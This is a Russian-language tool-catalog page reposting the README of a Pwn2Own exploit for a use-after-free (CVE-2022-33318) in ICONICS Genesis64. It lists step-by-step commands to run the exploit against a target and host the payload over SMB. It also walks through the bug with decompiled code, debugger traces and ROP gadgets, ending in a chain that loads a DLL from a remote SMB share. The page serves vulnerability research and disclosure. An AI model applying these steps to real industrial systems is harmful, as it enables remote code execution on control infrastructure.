Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
paracosme — Paracosme — это эксплойт удалённого повреждения памяти с нулевым кликом, который взламывает ICONICS Genesis64 и был успешно продемонстрирован на сцене во время конкурса Pwn2Own Miami 2022. | Kitploit
Инструменты/GitHubGitHub/0vercl0k/paracosme
Анализ уязвимостейЭксплуатацияБезопасность SCADA/ICSТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme — это эксплойт удалённого повреждения памяти с нулевым кликом, который взламывает ICONICS Genesis64 и был успешно продемонстрирован на сцене во время конкурса Pwn2Own Miami 2022.

Репозиторий
902262 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Paracosme - CVE-2022-33318 - удаленное выполнение кода в ICONICS Genesis64

Paracosme — это эксплойт повреждения памяти, который я написал для атаки на пакет Genesis64 версии 10.97.1, созданный компанией ICONICS, для достижения удаленного выполнения кода.

Эксплойт был продемонстрирован в рамках конкурса Pwn2Own 2022 Miami, который проходил на конференции S4x22 Conference. Подробнее об этом можно прочитать в статье Участие в Pwn2Own ICS 2022 Miami: эксплуатация удаленного повреждения памяти в ICONICS Genesis64 без единого клика.

Проблема получила оценку 9.8 по CVSS, и ей был присвоен CVE-2022-33318 / ZDI-22-1041. Она была исправлена и была исправлена в Genesis64 10.97.2. Вы также можете прочитать рекомендации ICSA-22-202-04, а также технический документ ICONICS об уязвимостях безопасности ICONICS Suite.

Вы можете найти код эксплойта в src/paracosme.py, PoC для запуска аварийного завершения / проверки, затронуты ли вы, в src/paracosme-poc.py, и исполняемую на машине нагрузку в src/payload.

Затронуты ли вы?

Лучший способ узнать, затронуты ли вы, — включить Page Heap для GenBroker64.exe, перезапустить службу, подключить отладчик к GenBroker64.exe, запустить paracosme-poc.py против вашего сервера — и вы должны увидеть аварийные завершения, как показано ниже:

Чтобы наблюдать аварийное завершение, необходимо подключить отладчик к целевому процессу, в противном случае приложение игнорирует его.

Запуск эксплойта

Эксплойт тестировался только в Windows, но также должен работать на платформах Linux:

  1. Установите impacket командой: pip3 install impacket
  2. Отключите любой работающий на вашей машине SMB-сервер с помощью sc config lanmanserver start=disabled и перезагрузите систему
  3. Запустите smbserver с помощью smbserver.py (из примеров impacket) командой: python src\smbserver.py -smb2support x bin
  4. Запустите эксплойт командой python src\paracosme.py --target <ip>

Эксплойт

Для получения более подробной информации обратитесь к статье Участие в Pwn2Own ICS 2022 Miami: эксплуатация удаленного повреждения памяти в ICONICS Genesis64 без единого клика.

Обзор уязвимости

Paracosme эксплуатирует уязвимость использования после освобождения (use-after-free), найденную в процессе GenBroker64, для достижения удаленного выполнения кода в системе Windows 21H2 x64.

В общих чертах, процесс GenBroker64 прослушивает TCP-порт 38080 и может десериализовать различные пакеты после выполнения рукопожатия с клиентом. Ошибка, которую я нашел, находится в коде, который обрабатывает чтение VARIANT из сетевого сокета. По сути, вариант — это тип и значение. Функция на первый взгляд выглядит хорошо написанной и старается распаковывать только определенные типы. Вот как она выглядит:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

Функция сама реализует распаковку массивов, а также чтение простых типов вариантов, но если она получает что-то, что не относится ни к одной из этих двух категорий, она переходит к operator>> экземпляра архива. Этот экземпляр архива — объект, предоставляемый библиотекой Microsoft Foundation Class, которая обрабатывает сериализацию и десериализацию различных объектов. Этот код на самом деле с открытым исходным кодом, и вы можете найти его по пути C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, но вот он:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

Функция в основном неинтересна, потому что в ней также есть логика распаковки тривиальных типов, но мое внимание привлекли VT_DISPATCH / VT_UNKNOWN.

Какого черта? Вы можете отправить идентификатор класса произвольного COM-объекта, который реализует либо IPersistStream, либо IPersistStreamInit, и он загрузит его, вызвав IPersistream::Load, для инициализации объекта. Хотя это удивительно и это странная функция, с точки зрения безопасности мне это не показалось интересным, потому что мне пришлось бы искать еще одну ошибку в COM-объекте, доступном в стандартной Windows 10.

Теперь давайте внимательнее посмотрим на приведенный ниже код:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

Вызов CoCreateInstance записывает указатель на COM-интерфейс напрямую в pSrc->punkVal, который является итоговым вариантом, хранящимся у вызывающего кода на несколько кадров выше. Затем, если IStreamPersist::Load вызывает исключение, оно перехватывается, и IUnknown::Release вызывается как для интерфейса IUnknown, так и для IPersistStream, что освобождает COM-объект, оставляя pSrc->punkVal висячим. Еще один интересный момент: после этого блок catch повторно выбрасывает исключение, которое перехватывается следующим кодом:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

На этом этапе вариант уже был освобожден, но его тип и значение не были обновлены / изменены, поэтому эти вызовы VariantClear приводят ко второму вызову IUnknown::Release, который вызывает следующее аварийное завершение:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Ух ты, это довольно круто. Мы можем вызвать описанное выше, создав COM-объект, реализующий IPersistStream, и заставив его вызвать исключение при вызове Load. Код, запускающий это, можно найти в paracosme-poc.py, который должен вызвать аварийное завершение процесса GenBroker64.exe на целевой системе. Вы также можете включить Page Heap для GenBroker64.exe, чтобы получить аварийное завершение мгновенно.

Получение контроля над RIP

Когда для варианта вызывается VariantClear, он выполняет виртуальный вызов метода Release для его освобождения. Поскольку это виртуальный вызов, функция читает vtable, получает указатель на функцию по фиксированному смещению и вызывает его. До того как это произойдет, мы вступаем в гонку с потоком, чтобы перехватить ole32!CFileMoniker и заменить его управляемыми данными (см. RacerThread_t). В результате мы контролируем указатель на vtable и находимся в одной инструкции от перехвата RIP. Ниже показана соответствующая инструкция ассемблера, где @rcx указывает на блок, которым мы полностью управляем:

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

Поскольку у нас есть полный контроль над перехваченным блоком, мы управляем @rax. Чтобы перехватить поток управления, нам нужно установить @rax на указатель на значение, с помощью которого мы хотим перехватить @rip. Главная проблема здесь — ASLR, а у нас нет раскрытия информации.

К счастью для нас, модуль GenBroker64.exe не имеет динамической базы, а значит, мы можем использовать его, чтобы найти место, которое указывает на интересный гаджет для начала нашей цепочки.

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

Первый используемый гаджет — это гаджет, который позволяет нам полностью контролировать @rip (без каких-либо косвенных переходов):

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

Мы можем разместить адрес следующего гаджета по смещению +0x10 в блоке, который мы перехватываем (на который указывает @rcx), что очень удобно.

Второй используемый нами гаджет переводит стек на перехваченный блок кучи, которым мы полностью управляем:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

Забавно, что адрес нашего блока кучи, похоже, находится (всегда?) в месте, которое умещается в 32-битное целое число, и именно поэтому mov esp, ecx отлично работает.

На данный момент у нас есть ROP-цепочка, но у нас не так много места, что было довольно неприятно. Я потратил кучу времени, пытаясь свести все воедино, и в итоге придумал последовательность гаджетов, которая вызывает LoadLibraryW с удаленным SMB-путем, указывающим на DLL-файл, содержащий нашу нагрузку. Если вам интересны детали цепочки, загляните в paracosme.py@241.

Авторы

  • Axel '0vercl0k' Souchet
Скачать инструмент